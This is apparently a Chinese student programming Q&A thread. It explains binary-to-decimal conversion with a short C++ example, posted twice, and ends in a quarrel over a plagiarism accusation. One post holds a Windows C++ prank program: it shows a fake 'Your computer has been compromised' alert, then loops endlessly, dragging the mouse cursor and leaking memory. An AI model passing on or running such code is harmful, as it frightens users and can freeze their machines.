新手守护
二进制转十进制(普及一下,这题用不到)
- 1首先讲一下“权重”的概念
数字中某位的权重:2的(该位所在的位数(从右至左)-1)次方
比如:10
0的权重为:2^(1-1)=1 1的权重为:2^(2-1)=2
二进制转十进制:数字中所有位*本位的权重然后求和
比如将10101转化为十进制
10101=1*2^4+0*2^3+1*2^2+0*2^1+1*2^0=21
十进制转二进制
- 1十进制如何转二进制:将该数字不断除以2直到商为零,然后将余数由下至上依次写出,即可得到该数字的二进制表示
以将数字21转化为二进制为例
- 2
当商为零时,将余数由下至上依次写出,即为21的二进制表示
-
实现:
int n,i,j=0;
int a[1000];
cin>>n;
i=n;
while(i)
{
a[j]=i%2;
i/=2;
j++;
}
for(i=j-1;i>=0;i--)
cout<<a[i];
抄袭可耻,好好看,好好学,理解最重要!!!!!!!!!
初级守护
#include<bits/stdc++.h>
#include<string>
#include<time.h>
#include<windows.h>
using namespace std;
POINT p,s;
int main(){
MessageBox(NULL,"Your computer has been compromised.","Windows(system)",MB_OK);
for(long long i=1;i<=1000;i--){
GetCursorPos(&p);
SetCursorPos(p.x+10,p.y);
Sleep(20);
string *die;
die=new string[10000];
Sleep(1);
}
return 0;
}
新手天翼
二进制转十进制(普及一下,这题用不到)
- 1首先讲一下“权重”的概念
数字中某位的权重:2的(该位所在的位数(从右至左)-1)次方
比如:10
0的权重为:2^(1-1)=1 1的权重为:2^(2-1)=2
二进制转十进制:数字中所有位*本位的权重然后求和
比如将10101转化为十进制
10101=1*2^4+0*2^3+1*2^2+0*2^1+1*2^0=21
十进制转二进制
- 1十进制如何转二进制:将该数字不断除以2直到商为零,然后将余数由下至上依次写出,即可得到该数字的二进制表示
以将数字21转化为二进制为例
- 2
当商为零时,将余数由下至上依次写出,即为21的二进制表示
-
实现:
int n,i,j=0;
int a[1000];
cin>>n;
i=n;
while(i)
{
a[j]=i%2;
i/=2;
j++;
}
for(i=j-1;i>=0;i--)
cout<<a[i];
抄袭可耻,好好看,好好学,理解最重要!!!!!!!!!
初级守护
@张天璨
呵,说我抄袭?你可真是高估了你自己。
疑心这么重,一千万个曹操都比不上你的百分之一。
我只是想看下题目而已,至于吗?
抱歉,这题我看都没看,你就说我抄袭,我也是无语。
我倒想问问“抄袭”用在谁身上更合适?
是谁几乎靠着问答来做题,为了刷分连难度六的题都问?
老师貌似还没讲到这吧?
我没别的意思,你想问就问,我绝不干涉你。
但我不允许你无凭无据侮辱我。请你道歉。
人不犯我,我不犯人;人若犯我,我定不饶人!
还有,同班的@解德义有题目不会,好好回答不就行了?非要接一句骂他的话才甘心?
请你口下积德,少在问答上口吐芬芳。
别再当“字字珠玑”的键盘侠了行不!
刘廷钰在2020-02-24 22:16:11追加了内容
质本洁来还洁去,强于污淖陷渠沟。
毕竟清者自清,浊者自浊。是非在己,毁誉由人,得失不论。想必孰是孰非你自己清楚,请你正视自己!